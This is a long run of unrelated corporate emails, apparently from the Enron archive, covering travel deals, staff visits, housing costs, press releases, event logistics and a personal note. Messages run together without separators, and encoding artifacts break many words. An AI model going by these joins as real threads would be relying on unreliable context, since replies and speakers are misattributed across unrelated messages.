Airport:   Dayton, Ohio (DAY)
Rate:      $99/Night    Doubletree Guest Suites Dayton/Miamisburg,
Miamisburg  OH    (Centrally located within minutes of downtown and
numerous corporate headquarters and adjacent to the 160-store Dayton Mall.)

Airport:   Washington National and Washington Dulles, DC (DCA/IAD)
Rate:      $169/Night    Hilton Garden Inn Washington DC Franklin
Square, Washington  DC    (Located just three blocks from the White
House in Washington DC, close to area attractions.)

Rate:      $89/Night    Hilton McLean Tysons Corner, McLean  VA
(FREE shuttle to the Metro and famous Tyson's I and II shopping.)

Airport:   Intercontinental Airport Houston, Texas (IAH)
Rate:      $165/Night  Doubletree Guest Suites Houston, Houston  TX
(Just minutes from the museum district, Six Flags, Astroworld. Johnson Spac=
e
Center and the beaches of Galveston are just a short drive away.)

Rate:      $99/Night    Hilton Houston Southwest, Houston  TX    (Only
9 miles from downtown Houston, Free shuttle to the Galleria Mall.)

Rate:      $59/Night, 12/2-3  Hilton Houston Westchase and Towers,
Houston  TX    (Walking distance to Spellbinders Comedy Club,
restaurants, and lounges.)

Airport:   Los Angeles, California (LAX)
Rate:      $75/Night    Doubletree Anaheim/Orange County, Orange  CA
(Close to Southern California's major metro areas, business center.)

Rate:      $89/Night    Hilton Suites Anaheim/Orange, Orange  CA
(An all suite hotel offering cooked to order breakfast and evening beverage
reception.)

Airport:   Oakland, California (OAK)
Rate:      $98/Night, 12/2-3   Hilton Garden Inn San Francisco
Airport/Burlingame, Burlingame  CA    (Located just 2.1 miles south of
the San Francisco International Airport in the city of Burlingame.)

Airport:   Oakland and San Jose, California (OAK/SJC)
Rate:      $89/Night, 12/2-3   Hilton Garden Inn Mountain View,
Mountain View  CA    (In the midst of Silicon Valley, NASA Ames
Research Center, the U.S. Space Camp & Stanford University are within 15=20
mins.)

Airport:   Norfolk, Virginia (ORF)
Rate:      $49/Night    Doubletree Virginia Beach, Virginia Beach  VA
(Adjacent to the Virginia Beach Pavilion Convention Center and only six=20
blocks from the beach.)=20
Airport:   Raleigh-Durham,  North Carolina (RDU) Rate:      $99/Night   =20
Hilton North Raleigh, Raleigh  NC    (Located 5 miles from the State Capito=
l,=20
convenient to downtown, Research Triangle Park
and the airport.)

To book this week's special rates for Hilton Family Hotels, visit and book =
at=20
www.hilton.com/specials/values_main.html

Special rates apply only for the dates listed at each hotel and are subject=
=20
to=20
availability.  Check hilton.com for specific dates at each Hilton Family=20
Hotel.=20
Or call at 1-800-774-1500 and ask for Value Rates. Restrictions apply to=20
these=20
rates.

CO.O.L. TRAVEL SPECIALS RULES:
Fares include a $37.20 fuel surcharge.  Passengers
returning on January 31, 2000 will not have to pay the $37.20 fuel
surcharge.  Passenger Facility Charges, up to $12 depending on routing, are
not included. Up to Three dollars per segment federal excise tax, as
applicable, is not included.  Applicable International and or Canadian taxe=
s
and fees up to $88, varying by destination, are not included and may vary
slightly depending on currency exchange rate at the time of purchase.=20
For a complete listing of rules please visit:=20
 www.continental.com=20

ALAMO RENT A CAR'S TERMS AND CONDITIONS:
Taxes (including VLF taxes up to US$1.89 per day in California and GST),
other governmentally-authorized or imposed surcharges, license recoupment
fees, fuel, additional driver fee, drop charges and optional items (such as
CDW Waiver Savers(R) up to US$18.99 a day,) are extra. Renter must meet
standard age, driver and credit requirements. Rates higher for drivers unde=
r
age 25. Concession recoupment fees may add up to 14% to the rental rate at
some on-airport locations. Up to 10.75% may be added to the rental rate if
you rent at an off-airport location and exit on our shuttle bus. Weekly
rates require a 5-day minimum rental or daily rates apply. For weekend
rates, the vehicle must be picked up after 9 a.m. on Thursday and returned
before midnight on Monday or higher daily rates apply. 24-hour advance
reservation required. May not be combined with other discounts. Availabilit=
y
is limited. All vehicles must be returned to the country of origin. Offer
not valid in San Jose, CA.

NATIONAL CAR RENTAL TERMS AND CONDITIONS:
Customer must provide Contract ID# at the time of reservation to be eligibl=
e
for discounts. Offer valid at participating National locations in the US an=
d
Canada. Minimum rental age is 25. This offer is not valid with any other
special discount or promotion. Standard rental qualifications apply. Subjec=
t
to availability and blackout dates. Advance reservations required.
Geographic driving restrictions may apply.

TERMS AND CONDITIONS FOR WESTIN, SHERATON, FOUR POINTS,
ST. REGIS, THE LUXURY COLLECTION, AND W HOTELS:
 promo.starwood.com=20

This E-mail message and its contents are copyrighted and are proprietary
products of Continental Airlines, Inc.  Any unauthorized use, reproduction,
or transfer of the message or its content, in any medium, is strictly

UNFORTUNATELY MAIL SENT TO THIS ADDRESS CANNOT BE ANSWERED.=20
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TO SUBSCRIBE:
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[IMAGE]

Anjam,

It makes sense to come to Houston for a longer time period.
I think that you should spend here at least 3 weeks.

Vince

Anjam Ahmad
04/28/2000 05:47 AM
To: Vince J Kaminski/HOU/ECT@ECT, Dale Surbey/LON/ECT@ECT
cc:  
Subject: This summer's Houston visits 2

Hi Vince,

One of my only windows of opportunity right now is to schedule the Houston 
visit for Monday 10th July for a single week only.

Regards,

Anjam
---------------------- Forwarded by Anjam Ahmad/LON/ECT on 28/04/2000 11:33 

Steven Leppard
28/04/2000 10:15
cc: Anjam Ahmad/LON/ECT@ECT, Benjamin Parsons/LON/ECT@ECT, Kirstee 
Hewitt/LON/ECT@ECT, Matthew D Williams/LON/ECT@ECT, Steven 
Leppard/LON/ECT@ECT 

Subject: This summer's Houston visits

Vince, Dale

Here are our proposals for Houston visits from our group:
Kirstee  All of July, all of September. (Kirstee's personal commitments mean 
she needs to be in the UK for August.)
Ben  All of October.   (No crossover with Kirstee, ensures VaR/Credit cover 
in London office.)
Steve  2-3 weeks in July, first 3 weeks of September.
Anjam  To be arranged at Anjam and Houston's mutual convenience.
Matt  Not a permanent Research Group member.  I'm asking Richard's group to 
pay for his visit, probably in August.

Steve

Thanks, Barbara. Gerald, give me a call if I need to explain his deal more (or better)

From: 	Gray, Barbara N.  
Sent:	Monday, September  10, 2001 9:32 AM
To:	Sherman, Cris
Cc:	Nemec, Gerald

Gerald Nemec may be able to provide an example  .  b ng

From: 	Sherman, Cris  
Sent:	Thursday, September 06, 2001 10:25 AM
Cc:	Connett, Hugh
Subject:	

Barbara, Brian Redmond told me you may me able to help.  Hugh Connett w/ Bridgeline has a customer who is interested in having us construct a pipeline interconnect/meter on their behalf.  Bridgeline will be reimbursed for the costs, ownership of the asset in this case will remain w/ Bridgeline.  Hugh called and asked if we might have an example contract for this type of deal. Do you have anything? 

Start Date: 10/24/01; HourAhead hour: 2;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2001102402.txt

Here is the pricing from Yvan.  Lets talk about it when you get a chance.  
Thanks
Ben
---------------------- Forwarded by Benjamin Rogers/HOU/ECT on 04/04/2000 
12:05 PM ---------------------------

YVAN CHAXEL@ENRON
04/03/2000 09:08 AM
To: Benjamin Rogers/HOU/ECT@ECT, Donald M- ECT Origination Black/HOU/ECT@ECT
cc:  

Ben,

here are the new numbers (much more favorable).

Give me a call if you want to discuss them.

Yvan
34292

Dear Colleagues,

The draft website is ready to go public. It has been linked to the gspp 
website. It is still the same address: 
http://gspp.berkeley.edu/events/electricity_summit_conference.htm.

Talk to you all soon.
Best wishes,
Heather

Sally:

Below is the detail of what the "extra" housing cost was for Todd Hall that 
is to be charged to whatever RC is provided.  If you need to discuss further, 
please call me at 55064.  Otherwise, may we have a charge cdode for this 
expense?

Thanks,

Jane

---------------------- Forwarded by Jane Allen/HOU/ECT on 05/12/2000 08:40 AM 

Tara Rozen
05/12/2000 04:31 AM
To: Jane Allen/HOU/ECT@ECT
cc: Rachel Clifford/LON/ECT@ECT 
Subject: Re: Todd Hall  

If Todd was unaccompanied, we would have paid o2167 p/m.  The flat he is 
occupying is o2817 p/m, difference of o650 p/m. Not sure if this is going to 
be relevant enough to the RC. We definitely could have rented the place so it 
would not have been left empty.

Let me know if you need anything else.
Tara

	From:  Jane Allen                           11/05/2000 22:11
	
To: Tara Rozen/LON/ECT@ECT
cc:  

Subject: Re: Todd Hall

Before I speak with Sally, exactly what piece of the housing are we charging 
to her RC since he took existing housing?
---------------------- Forwarded by Jane Allen/HOU/ECT on 05/11/2000 04:09 PM 

Kim Melodick
05/11/2000 12:28 PM
cc:  

Jane, Norma has the group now, however, I do believe Sally wants to speak 
with you on this issue.

	From:  Jane Allen                           05/08/2000 04:15 PM
	
To: Kim Melodick/HOU/ECT@ECT
cc: Tara Rozen/LON/ECT@ECT 

I called and left you a message last week.  Do we still need to talk or has 
it been resolved?  My new number is 55064.

Jane

05/03/2000 12:39 PM

Sally would like to speak to you regarding the differential.  She knows that 
Todd had taken residence in accommodations left vacant by Beth Perlman.  She 
want ed more clarification on how that would be managed since it was 
utilizing an existing space. The RC she provided was Todd Hall's RC#2182. 
Please call me at your earliest convenience as I will explain the remaining 
details.

	From:  Jane Allen                           05/02/2000 08:01 AM
	
cc: Kim Melodick/HOU/ECT@ECT 

Kim:

Can you get this for Tara, please?

Jane

Tara Rozen
05/02/2000 03:02 AM

No, I did not, thanks

	From:  Jane Allen                           01/05/2000 14:11
	
Subject: Todd Hall

Tara:

Did you ever get the coding for this expense?
---------------------- Forwarded by Jane Allen/HOU/ECT on 05/01/2000 08:10 AM 
   
	From:  Jane Allen                           03/17/2000 08:31 AM
	
Can we please have the RC that should be charged for the upgrade for Todd's 
housing from single to accompanied?

Thanks,

Jane

---------------------- Forwarded by Jane Allen/HOU/ECT on 03/17/2000 08:31 AM 

Tara Rozen
03/17/2000 02:58 AM
To: Matt Hatton/LON/ECT@ECT
cc: Lisa McRae/LON/ECT@ECT, Jane Allen/HOU/ECT@ECT 

Matt

Please can you arrange for Todd Hall, who is coming from Houston to work for 
Barry Pearce, to stay at Dolphin Square apartments? Please liaise with him 
directly on this.

We have a bit of a complicated costing situation. Barry Pearce will be taking 
the cost of the normal one bedrooms at Dolphin Square and Sally is taking the 
rest of the cost.

Jane - please provide the costs for Sally's RC.

Thanks
Tara
---------------------- Forwarded by Tara Rozen/LON/ECT on 17/03/2000 08:56 
   
	From:  Jane Allen                           15/03/2000 21:43
	
Sally has decided to go with the 2 bedroom Dolphin Square accommodations for 
Todd.  Please reserve them for March 25th through at least April 15.

Thanks.

Jane

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 09/14/2000 
04:06 PM ---------------------------
From: Paula Corey@ENRON COMMUNICATIONS on 09/12/2000 09:26 AM
To: Vince J Kaminski/HOU/ECT@ECT, Richard Weeks/Enron Communications@Enron 
Communications, Sheila Kahanek/Enron Communications@Enron Communications, Lou 
Casari/Enron Communications@Enron Communications, Jeff Foster/Enron 
Communications@Enron Communications
cc:  
Subject: Re: FW: president elect

----- Forwarded by Paula Corey/Enron Communications on 09/12/00 09:29 AM -----

	Shirley_Keeney@eogresources.com
	09/11/00 06:40 PM
		 
		 To: Paula Corey/Enron Communications@Enron Communications, 
markessa@fbtc.net, otaku242@earthlink.net, jhk_sys@msn.com
		 cc: 
		 Subject: Re: FW: president elect

Click on Lyrics; then select a candidate to get the words to the songs.
They will rap for you!  Very clever. I put
George and Bill behind the others - have fun!

Make sure to look at the words to the songs and enjoy!

(See attached file: JibJab (1).exe)

 - JibJab (1).exe

Ina,

 How many times do you think Jeff wants to get this message.  Please help

Phillip
---------------------- Forwarded by Phillip K Allen/HOU/ECT on 08/08/2000 
04:30 PM ---------------------------
   
	From:  Jeffrey A Shankman                           08/08/2000 05:59 AM
	
To: Phillip K Allen/HOU/ECT@ECT
cc: Paul T Lucci/DEN/ECT@Enron 
Subject: Your Approval is Overdue: Access Request for paul.t.lucci@enron.com

Please have Phillip or John L approve.  thanks.  Jeff
---------------------- Forwarded by Jeffrey A Shankman/HOU/ECT on 08/08/2000 
07:48 AM ---------------------------

ARSystem@ect.enron.com on 08/07/2000 07:03:23 PM
To: jeffrey.a.shankman@enron.com
cc:  

This request has been pending your approval for 8 days. Please click 
http://itcApps.corp.enron.com/srrs/Approve/Detail.asp?ID=000000000000935&Email
=jeffrey.a.shankman@enron.com to approve the request or contact IRM at 
713-853-5536 if you have any issues.

Request ID          : 000000000000935
Request Create Date : 7/27/00 2:15:23 PM
Requested For       : paul.t.lucci@enron.com
Resource Name       : EOL US NatGas US GAS PHY FWD FIRM Non-Texas < or = 1 
Month

HOUSTON =01) Enron Broadband Services (EBS), a wholly owned subsidiary of E=
nron=20
Corp. and a leader in the delivery of high-bandwidth application services,=
=20
announced today content delivery contracts with Road-Show.Com, an online=20
resource for individual investors, and Q4i.com, a financial services provid=
er=20
offering an online broker resource called BrokerIQ.  The two financial=20
services companies will use Enron=01,s ePowered=01v Market Cast and the Enr=
on=20
Intelligent Network=01v (EIN) to enhance the quality and speed of content=
=20
delivery to their investors.  Enron=01,s solution provides TV-quality strea=
ming=20
video with delivery speeds up to 50 times faster than the public Internet.
=01&These agreements reflect the financial services industry=01,s need for =
better=20
and faster delivery of online content,=018 said Joe Hirko, co-CEO of Enron=
=20
Broadband Services.  =01&The Enron Intelligent Network allows visionary=20
companies like Road-Show.Com and Q4i.com to serve their customers with vide=
o=20
to the desktop that has unparalleled speed, clarity and quality.=018
Road-Show.Com is a fully integrated producer of online streaming media.  Th=
e=20
company=01,s Xvenue=01v platform offers clients a turn-key solution for=20
personalized live or on-demand webcast communications.  Road-Show.Com broad=
ly=20
streams the presentations that companies typically give on road shows prior=
=20
to an initial public offering to audiences that include individual and=20
professional investors.
=01&The Enron Intelligent Network and Market Cast technology will allow=20
Road-Show.Com to offer our customers something they have never had access t=
o=20
before =01) real-time company presentations and one of the fastest, richest=
=20
viewing experiences possible.  This will enhance their ability to make full=
y=20
educated investment decisions,=018 said Trey Fecteau, president of=20
Road-Show.Com.=20
Q4i.com provides =01&one-stop=018 advanced technology solutions for financi=
al=20
services companies and their clients.  With its flagship product, BrokerIQ=
=01v,=20
professional brokers and their firms have a complete broker management syst=
em=20
at their fingertips.  Q4i.com will utilize EBS to distribute financial vide=
o=20
clips to clients via its BrokerCity=01v product.  In addition, Enron will=
=20
deliver Q4i.com=01,s live and on-demand streaming video clips of golf resor=
ts,=20
golf courses, golf real estate, equipment and golf travel for Internet user=
s=20
around the world through GolfTV=01v, Q4i.com=01,s online video network.
=01&Our clients now have streaming video features available on their deskto=
ps=20
via Enron=01,s network,=018 said J. Frederic Storaska, chairman and co-CEO =
of=20
Q4i.com.  =01&They not only will enjoy on-demand streaming video of financi=
al=20
and golf information, but they=01,ll have the opportunity to take advantage=
 of=20
special vacation and equipment offers reserved exclusively for our=20
broker-dealers.=018
Enron=01,s ePowered Market Cast Solution
ePowered Market Cast, an application of the Enron Intelligent Network, is a=
n=20
end-to-end streaming media solution for banks, brokerages and other financi=
al=20
services firms.  Using ePowered Market Cast, companies can enhance investor=
=20
relations, conduct virtual road shows and stream analyst presentations from=
=20
their websites.  In addition, ePowered Market Cast is a powerful intranet=
=20
solution for providing real-time financial news, data feeds, training and=
=20
presentations to an internal audience.  The application streams video at an=
=20
average bit-rate speed of 200 kilobits per second (kbps).
The Enron Intelligent Network is based on distributed server architecture, =
a=20
pure Internet Protocol (IP) platform and embedded software intelligence tha=
t=20
sets it apart from other networks.  The EIN=01,s enhanced performance is du=
e to=20
its ability to deliver streaming media content =01&one hop=018 away from th=
e user=20
at the closest EIN edge server.  The result is a TV-quality viewing=20
experience for the user.  In contrast, the public Internet=01,s ability to=
=20
deliver the broadband content businesses need is often hampered by packet=
=20
loss, interference and other disruptions that slow down transmission speed=
=20
and compromise the end user=01,s experience.
About Enron Broadband Services
Enron Broadband Services, formerly Enron Communications, Inc., is a leading=
=20
provider of high quality, broadband Internet content and applications.  The=
=20
company=01,s business model combines the power of the Enron Intelligent Net=
work,=20
Enron=01,s Broadband Operating System, bandwidth trading and intermediation=
=20
services, and high-bandwidth applications, to fundamentally improve the=20
experience and functionality of the Internet. Enron introduces its Broadban=
d=20
Operating System to allow application developers to dynamically provision=
=20
bandwidth on demand for the end-to-end quality of service necessary to=20
deliver broadband content.  Enron is also creating a market for bandwidth=
=20
that will allow network providers to scale to meet the demands that=20
increasingly complex applications require.  A wholly owned subsidiary of=20
Enron Corp. (NYSE: ENE), Enron Broadband Services can be found on the Web a=
t=20
www.enron.net.
 About Enron
Enron is one of the world=01,s leading electricity, natural gas and=20
communications companies.  The company, which owns approximately $34 billio=
n=20
in energy and communications assets, produces electricity and natural gas,=
=20
develops, constructs and operates energy facilities worldwide, delivers=20
physical commodities and financial and risk management services to customer=
s=20
around the world, and is developing an intelligent network platform to=20
facilitate online business.  Enron=01,s Internet address is www.enron.com. =
 The=20
stock is traded under the ticker symbol, =01&ENE.=018

Please see following news article and White House press release:

Clinton Offers Federal Funds for Electricity Woes in California

08/23/2000
Dow Jones Business News

WASHINGTON -(Dow Jones)- President Clinton will direct federal agencies to 
provide financial assistance to
low-income families and small businesses in Southern California to help them 
cope with high electricity bills, the
White House said. 

California utility regulators earlier this week imposed a partial rate cap on 
electric bills for San Diego residents,
responding to public panic about power prices that have more than doubled 
this summer because of volatility in the
state's deregulated energy market. The deregulation of California's $20 
billion power market was supposed to lower
prices by creating greater competition. But demand for electricity has 
outstripped supply because of a booming
economy and less power available from other areas.

Clinton ordered the release of $2.6 million from the Low Income Home Energy 
Assistance Program to help
low-income families while the Small Business Administration will urge its 
lending partners to use SBA credit
programs to help small businesses with their energy costs. 

In addition, Mr. Clinton has called on Energy Secretary Bill Richardson to 
ask the Federal Energy Regulatory
Commission to speed up an investigation into the wholesale market for 
electricity "so that state and federal
regulators and policy makers can have the information they need to protect 
consumers in a timely fashion." 

Mr. Clinton's actions mark the second time this summer the president has 
stepped in to help California cope with
its electricity shortages. Earlier, the president called on all federal 
facilities in California to cut their power usage and
to direct power back into the electricity grid. 

(Compiled from Dow Jones Newswires and other sources) 

Copyright (c) 2000 Dow Jones & Company, Inc. 

All Rights Reserved.

---------------------- Forwarded by Karen Denne/Corp/Enron on 08/23/2000 
10:43 AM ---------------------------
   
	From:  Ann M Schmidt                           08/23/2000 10:41 AM
	
cc:  

Subject: President Clinton Press Release

Following is a link to the actual White House page with the statement from 
Clinton today.

Wendy Gramm (an Enron Board member) referred Jay Valesquez(sp?) to Jeff 
Skilling about an event in Dallas for  Senator Lugar.  The event is Sunday 
November 19 and Jeff is out of town.  Would you please give Jay a call and 
decide what we should do?
Jay's number is 202-973-5980

Tenderloin for dinner; XL shirt size; no hotel

	From:  Sally Beck                           10/10/2000 17:58
	
Sent by: Patti Thompson
To: Mike Jordan/LON/ECT@ECT, James New/LON/ECT@ECT, Mike 
Wellings/LON/ECT@ECT, Coralie Evans/LON/ECT@ECT, Robert Yeo/LON/ECT@ECT, Paul 
D'Arcy/LON/ECT@ECT, David A Wall/Risk Mgmt/LON/ECT@ECT, Andrew 
Cornfield/LON/ECT@ECT, Cindy Horn/LON/ECT@ECT, Jeffrey C Gossett/HOU/ECT@ECT, 
Leslie Reeves/HOU/ECT@ECT, Bob M Hall/NA/Enron@Enron, Stacey W 
White/HOU/ECT@ECT, Peggy Hedstrom/CAL/ECT@ECT, Brenda F Herod/HOU/ECT@ECT, 
Brent A Price/HOU/ECT@ECT, Scott Earnest/HOU/ECT@ECT, D Todd 
Hall/HOU/ECT@ECT, Sheila Glover/HOU/ECT@ECT, Kevin Sweeney/HOU/ECT@ECT, 
Fernley Dyson/LON/ECT@ECT, Heidi Mason/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Jan-Erland Bekeng/AP/Enron@Enron, Scott Mills/HOU/ECT@ECT, Barry Pearce/Enron 
Communications@Enron Communications, Kristin Albrecht/Enron 
Communications@Enron Communications, Wanda Curry/HOU/ECT@ECT, Meredith M 
Eggleston/HOU/EES@EES, Shona Wilson/NA/Enron@Enron, Eugenio 
Perez/HOU/ECT@ECT, Michael E Moscoso/HOU/ECT@ECT, Neil Tarling/Enron 
cc:  
Subject: Global Operations Controller Forum

Please fill in the following information and email (or fax 713-345-8100) to 
me as soon as possible. (The same day would be great!)

Please select dinner entr,e for Sunday, Oct 22	Pan seared medallions of Black 
Angus tenderloin, or	
	Grilled chicken breast w/ artichoke, mushrooms & light herb sauce	
Hotel reservation:	Both Sunday and Monday nights	
	Sunday night only	
	Monday night only	
	Extend for additional nights	
	Smoking or non-smoking room	
Flight information:	Date of arrival	
	Airline/flight number	
	Houston arrival time	
Shirt size:	Women's or men's size	
	small, med, large, x-large, xx-large	

Thanks, 

Do you remember anything about this agreement?  It was something people were 
looking for while I was in Fort Worth, and now I'm trying to find the signed 
original.

Thanks,

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 07/18/2000 03:17 
   
	From:  Kay Mann                           07/18/2000 03:15 PM
	
To: Steve Irvin/HOU/ECT@ECT
cc:  

Subject: Re: Vitro/Termination agreement

FYI.
---------------------- Forwarded by Kay Mann/Corp/Enron on 07/18/2000 03:14 

Brian D Barto@ENRON_DEVELOPMENT
07/17/2000 09:27 AM
To: Kay Mann/Corp/Enron@ENRON, Martin W Penkwitz/NA/Enron@Enron
cc:  

Subject: Re: Vitro/Termination agreement  

What I was told by your secretary and Marty was that ENA was keeping one of 
the signed originals, and I picked up the other to give to Schroeder.  I do 
not exactly know where ENA's original went.  Lets ask Marty.

To: Brian D Barto/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

I thought that someone retrieved the originals (which has been signed by GE 
but not Enron) while I was in Ft. Worth for my dad's surgery. Marty mentioned 
that you were looking for them, so I thought  he had given them to you (he's 
out this week).  I have not seen the termination agreement since I returned. 
Did you and John leave fully executed termination agreements in my office?  
Maybe someone else picked them up.  

I can't tell you what's going on with the assignment.  Perhaps Peggy Banczak 
can help out with that.

Kay

07/17/2000 08:00 AM
cc:  

Schroeder and I left two signed originals with you, so what does "processed" 
mean.  Yes, thankyou for asking, GE has received their fully executed 
original, and therefore should be prepared to issue the invoice to 
Purchaser.  But I have not seen the invoice yet.

What is the status of the assignment of the GE contract to Mitsui?  Did the 
invoice go to them?

To: Brian D Barto/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Peggy 
Banczak/HOU/ECT@ECT
cc:  

Subject: Vitro/Termination agreement

I haven't seen a signed copy of the termination agreement cross my desk.  I 
just want to make sure that the fully executed document has been processed.

Thanks,

Kay

Blanca,
	Could you please send me the phone number for the room  we will be meeting in. Murray O'neil will be calling in from Portland.

						Chris

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 02/12/2001 
02:22 PM ---------------------------

Rakesh Bharati@ENRON
02/08/2001 04:59 PM
To: Stinson Gibner/HOU/ECT@ECT, Paulo Issler/HOU/ECT@ECT
Subject: Raptors

Here is the most recent version of the spreadsheet and the accompanying 
assumptions.

Kevin, thanks for getting back to me with names so promptly.  Everyone on the list will be an asset on this effort.  --Sally 

From: 	Sweeney, Kevin  
Sent:	Friday, October  5, 2001 6:08 PM
To:	Beck, Sally
Subject:	Employee Retention and Development

Sally,

The following people are interested in helping Melissa Becker from EIM:

Shelly Wood
Sam Leuschen
Lisa Csikos
Mike Moscoso

Kevin

---------------------- Forwarded by Ina Rangel/HOU/ECT on 08/30/2000 07:13 PM 

08/30/2000 10:04 AM
To: Ina Rangel/HOU/ECT@ECT
cc:  
Subject: for distribution

As part of an effort to facilitate communication on the trading floor, we 
have set everyone up with Microsoft Messenger.  
For those of you not familiar with the program, Microsoft Messenger allows 
you to talk real time with anyone on your contact 
list.  The program also has voice capabilities if you have a microphone.  
Messenger should now be fully installed on your 
computer and is accessible from the Start Menu.

You will need to set up a Hotmail account in order to use this service.  
Please follow the link below to set up your account. 
Once you have created an ID, please email me back with your ID so that I can 
compile a contact list for everyone on the floor.  
Let me know if you need help getting set up.  

http://hotmail.com

A word of caution when using the program.  Because this is not behind the 
company firewall, anything you send is not 100% secure and 
could be intercepted by a third party.  Any sensitive pricing information 
that you do not want disclosed should not be transmitted over
the program.  

---------------------- Forwarded by Clint Dean/Corp/Enron on 05/24/2001 05:32 

Andrea Dahlke
05/24/2001 05:14 PM
To: Clint Dean/Corp/Enron@Enron
cc:  

Subject: ClickAtHome Portal is HERE!

---------------------- Forwarded by Andrea Dahlke/NA/Enron on 05/24/2001 
   
	From:  Click at Home                           05/07/2001 10:20 PM
	
To: All Enron Employees United States
cc:  

Version 2.0 of the ClickAtHome Portal is now available!  
 Log into www.clickathome.net now, from work or home!

Access the PEP System through the portal!  
 Choose your reviewers and fill out your evaluations in the comfort and 
privacy of your home!

Outlook Web Access and eHRonline will be available SOON!  

The ClickAtHome portal is fully customizable for you!  
 YOU choose the content on each page, as well as the look and feel! 

Note: the ClickAtHome portal must be launched through an Internet Explorer 
browser, 5.0 or higher.

Just tried to call you.  Please call me before you leave, and yes, you 
probably need to leave, but where will you go?

If you go straight hme, emotions are running too high for it to be a safe 
environment right now.  I'm not trusting his reactions or your own right 
now.  You are hurting and sometimes that will cause us to do things that we 
normally would not do.  Please do not put yourself in that position!!!!

Please call me!

Hello Mike,

My name is Brian Dawson and I work in ENA Merchant Finance.   I heard you 
speak at the Adams Mark Hotel last week discussing the future of EGM.  I 
wanted to let you know that I may have some information that might be useful 
to you.  I have a close friend who is the Vice President Marketing/Purchasing 
of Rigid Building Systems located off of Aldine Westfield and Beltway 8.  He 
has over 20 years in the industry of buying from the mills and selling steel 
components to contractors, end users, and service centers.  We were 
discussing the steel industry as a whole and some of his ideals were 
identical to yours.  I didn't know if you would be the right person for this 
information.  If you would like for me to forward this information to someone 
else, please let me know.  Thank you for your consideration.

Brian Dawson
5-4725       

 I left a message with Ms. Vangie to call you or me.

forestweb.com
ALPHARETTA, Ga., July 16, 2001 (press release) -- Schweitzer-Mauduit Intern=
ational, Inc. (NYSE: SWM - news) today announced a plan to restructure its =
Brazilian operations and exit the printing and writing uncoated papers busi=
ness in Brazil in response to current business conditions. A pre-tax charge=
 of approximately $4.5 to $5.0 million will be taken in the second quarter =
of 2001 to implement this restructuring. Excluding this unusual item, the C=
ompany anticipates diluted earnings per share for the second quarter of 200=
1 to be in the range of $.52 to $.54 per share. Second quarter diluted earn=
ings per share in 2000 were $.41.=20
Brazilian Restructuring=20
Wayne H. Deitrich, Chairman of the Board and Chief Executive Officer, comme=
nted that, ``Recent changes in Brazilian business conditions made it necess=
ary for Schweitzer-Mauduit to reassess its ability to continue to compete e=
ffectively in the printing and writing uncoated papers market. Sales volume=
s during the past six months have been unfavorably impacted by a slowdown i=
n the Brazilian printing and writing papers market as well as by a decision=
 by the Company to reduce its sales of certain grades of these papers that =
have been negatively impacted by ICMS, a form of value-added business tax. =
In addition, the recently enacted electricity rationing program in Brazil h=
as necessitated production curtailments in our Brazilian operations. The pr=
inting and writing uncoated papers business is our least profitable product=
 line in Brazil while being our largest electricity user.''=20
The decision to exit the printing and writing uncoated papers business in B=
razil will result in a pre-tax charge in the second quarter of 2001 of appr=
oximately $4.5 to $5.0 million, or $.20 to $.22 per share, for a non-cash w=
rite-off of assets. In addition, a further pre-tax charge of approximately =
$0.5 to $0.7 million, or $.02 to $.03 per share, will be taken in the third=
 quarter, primarily related to employee termination and severance costs. Sc=
hweitzer-Mauduit do Brasil's net sales of printing and writing uncoated pap=
ers totaled approximately $25 million in 2000. Because of cost reduction st=
eps to be implemented as part of the restructuring, exiting the printing an=
d writing uncoated papers business is not expected to have a material impac=
t on ongoing operating results after the restructuring is fully implemented=
, which should occur by year-end 2001.=20
Brazilian Energy Situation=20
In late May, the Brazilian government announced the details of its electric=
ity rationing program which has an overall objective of a 20 percent reduct=
ion in electricity consumption and mandates a 25 percent reduction in elect=
ricity consumption by the paper industry in the most populated and industri=
alized regions of Brazil. The reduction is calculated from prior-year avera=
ge electricity consumption. The reduction must be measured and achieved for=
 consecutive thirty-day periods commencing May 31, 2001. Failure to achieve=
 the mandated reductions would result in higher electricity rates and cuts =
in electrical power service. The duration of the government's energy reduct=
ion directive is uncertain although it is expected to last at least six mon=
ths, through the traditional ``dry period'' in Brazil. The government's for=
ced consumption reduction program is in response to unusually low water lev=
els in the lakes and reservoirs supplying Brazil's hydroelectric facilities=
 that provide 90 percent of that country's electricity.=20
In response to the Brazilian government's energy reduction directive, Schwe=
itzer-Mauduit do Brasil implemented a four-part electricity reduction progr=
am. All nonessential nonmanufacturing uses of electricity are being elimina=
ted including cuts in air conditioning, reduced lighting and changes in the=
 operation of the water and effluent treatment plants. Manufacturing proces=
s modifications are being implemented to achieve more energy-efficient usag=
e of equipment where product quality will not be compromised. A comprehensi=
ve energy conservation training program is being conducted for Brazilian em=
ployees and contracted service providers of the Company to increase awarene=
ss and solicit ideas for additional electricity reduction. To achieve the 2=
5 percent electrical consumption reduction target, it has also been necessa=
ry to implement production curtailments. Machine downtime has been taken to=
 reduce the production of the Company's least profitable products.=20
Mr. Deitrich added that, ``Schweitzer-Mauduit does not expect the governmen=
t's electricity reduction program to significantly affect the demand for or=
 its ability to produce tobacco-related papers. Likewise, the availability =
of the Company's major raw materials such as wood pulp, chemicals and chalk=
 and the ability to receive raw materials and ship finished product are not=
 expected to be materially impacted. Exiting the printing and writing uncoa=
ted papers business will permit Schweitzer-Mauduit do Brasil to better focu=
s on and service its other product lines.''=20
Anticipated Second Quarter Results=20
Excluding the unusual charge associated with restructuring the Brazilian op=
erations, the Company anticipates diluted earnings per share for the second=
 quarter of 2001 to be in the range of $.52 to $.54 per share. Operating pr=
ofit improvement is anticipated in both the French and U.S. business units =
compared with the prior-year quarter. Results for the quarter are expected =
to benefit from increased tobacco-related papers sales volumes, lower wood =
pulp costs and improvement in average selling prices. The average per ton l=
ist price of northern bleached softwood kraft pulp in the United States was=
 $570 per metric ton in the second quarter of 2001 compared with $680 per m=
etric ton in the second quarter of 2000. These positive factors will be par=
tially offset by higher purchased energy costs and expenses related to the =
banded cigarette paper project and resultant higher cost of operations at t=
he Spotswood, New Jersey mill.=20
